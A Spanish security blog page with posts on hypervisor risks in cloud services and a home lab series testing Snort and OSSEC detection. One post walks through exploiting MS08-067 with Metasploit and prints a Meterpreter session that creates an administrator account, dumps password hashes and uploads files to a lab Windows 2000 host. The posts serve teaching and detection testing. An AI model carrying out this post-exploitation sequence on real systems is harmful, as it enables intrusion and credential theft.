Como mantener una infraestructura separada para cada cliente es muy costoso, las empresas que proporcionan este tipo de servicios (llamados Infraestructure as a Service, o IaaS) utilizan técnicas de virtualización para rebajar costes y aumentar las posibilidades de escalado de sus sistemas. La virtualización permite en este caso compartir recursos del proveedor entre varios clientes. Pero estos recursos no suelen estar preparados para soportar los niveles de aislamiento requeridos por las tecnologías actuales de virtualización. Para salvar este bache y controlar los recursos que se asignan a cada cliente, los entornos de virtualización disponen de un sistema (llamado Hipervisor) que actúa de mediador entre los sistemas virtuales de los clientes y el sistema principal.

Este hipervisor añade otra capa de abstracción, lo que genera un punto de fallo más además de los puntos de fallo en aplicaciones y sistemas operativos controlados habitualmente. Pero lo importante de este punto de fallo es su criticidad, ya que podría permitir puentear el hipervisor y acceder de forma directa a la infraestructura física, obteniendo acceso a todos los datos del equipo físico (incluidos datos de otros clientes). Esto ya ha sido demostrado anteriormente, con los prototipos de malware llamados Red Pill y Blue Pill de Joanna Rutkowska, y en las conferencias BlackHat de los años 2008 y 2009.

Una vez conocido este problema y la amenaza que supone para la seguridad de nuestros datos, el siguiente paso consiste en mitigarlo. En esta linea se pueden realizar las siguientes acciones:

  • Implementar sistemas de “mejores prácticas” de seguridad durante la instalación y configuración de los sistemas y aplicaciones.
  • Llevar un control exhaustivo del entorno para detectar actividades y cambios no autorizados tanto en las tareas y procesos habituales como en los datos almacenados en los sistemas virtualizados.
  • Promover controles de autenticación y acceso muy estrictos para el acceso y realización de operaciones administrativas.
  • Implantar de Acuerdos de Nivel de Servicio (SLA) para la aplicación de parches y corrección de vulnerabilidades.
  • Realizar análisis de vulnerabilidades y auditorías de la configuración de forma periódica.

Para concluir, cabe resaltar la importancia que está cobrando la computación en la nube en estos momentos, con lo cual detectar y solventar estas y otras amenazas es crucial para adaptarse a las necesidades de seguridad del usuario, y dotar al servicio de las garantías necesarias en esta materia.

Iniciación a un laboratorio de seguridad (III)

27 de mayo de 2010 Por

Una vez hemos realizado los ataques, vamos a acabar esta breve serie, analizando que han sido capaces de capturar el Snort empleando las reglas del VRT, y un OSSEC con la configuración por defecto.

Por parte del Snort, éste ha detectado 4 ataques. Como vemos en la captura, éste detecta el acceso por Terminal Server y el acceso al recurso compartido C por contraseña, o el uso del llsrpc pero no vemos rastro real de la ejecución del exploit o del meterpreter. Esto es debido a que las reglas por defecto que generan dichas alertas dan lugar a muchos falsos positivos y por defecto están deshabilitadas:

En la parte del OSSEC nos llama la atención que no salten alertas tales como la creación de nuevos usuarios en la máquina o de usuarios agregados al grupo de Administradores. Debemos recordar que la configuración es la de por defecto, sin habilitar logs extendidos ni otras variantes.

[Read more…]

Iniciación a un laboratorio de seguridad (II)

26 de mayo de 2010 Por

Tal como vimos ayer en la entrada anterior, hemos montado un laboratorio de análisis de ataques y comportamientos anómalos de una red; espero que los más laboriosos —y con más tiempo libre— se hayan decidido a acompañarme con su propio equipo. Como prueba de concepto del laboratorio, se va a realizar un ataque explotando la vulnerabilidad ms08-067 empleando para ello el framework Metasploit, donde se introducirá como payload Meterpreter, una shell residente en memoria.

Una vez explotada dicha vulnerabilidad, crearemos un usuario “s2”, lo introduciremos en el grupo de administradores, obtendremos las hash de los usuarios del sistema (muy importante para el pass the hash), descargaremos ficheros, subiremos ficheros, modificaremos la web del servidor y nos conectaremos por Terminal Server. Así pues, comencemos con ello.

En primer lugar, vamos a explotar la vulnerabilidad, a la cual nuestro sistema Windows es vulnerable:

Una vez explotada la vulnerabilidad, pasamos a realizar todas las acciones descritas anteriormente:

meterpreter > execute -f cmd.exe -c 
Process 1680 created. 
Channel 4 created. 
meterpreter > interact 4 
Interacting with channel 4... 

Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-2000 Microsoft Corp. 

C:\WINNT\system32>net user s2 1234 /add 
net user s2 1234 /add 
The command completed successfully. 
 

C:\WINNT\system32>net localgroup Administrators s2 /add 
net localgroup Administrators s2 /add 
The command completed successfully. 


C:\WINNT\system32>net localgroup Administrators 
net localgroup Administrators 
Alias name     Administrators 
Comment       Administrators have complete and unrestricted access to the 
                                                               computer/domain 

Members 

------------------------------------------------------------------------------- 
Administrator 
NetShowServices 
prueba 
s2 
The command completed successfully. 

C:\WINNT\system32>exit

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
IUSR_VICTIMA:1003:0e8ff62b99bc1ad29e3224a00ea92e5f:e8fcdfdbcc579dba2871d859e6b7fb3d::: 
IWAM_VICTIMA:1004:8363ef1550e112c831b03fd6a774eb9e:68fce39bee7df9990aa9082108ae3deb::: 
NetShowServices:1001:c4a1cbf4d0c1c37d01f4d415e335dff5:712b9dda73b053545187aeec8f64db6c::: 
prueba:1008:b757bf5c0d87772faad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6::: 
s2:1011:b757bf5c0d87772faad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6::: 
TsInternetUser:1000:b8a10dcd5241884aa381080396088734:a040e830159b73b94d62527980415c04::: 
meterpreter > upload /tmp/pass c:\ 
[*] uploading  : /tmp/pass -> c:\ 
[*] uploaded   : /tmp/pass -> c:\\pass

Para finalizar, nos creamos un directorio s2 dentro del directorio del servidor web y en su interior un fichero index.html que contiene los hash de los usuarios de la máquina:

Mañana acabaremos esta breve serie analizando qué hemos detectado con el Snort y el OSSEC. Como ya les dije, si tienen alguna duda o no les ha quedado claro algún paso, no tienen nada más que decirlo.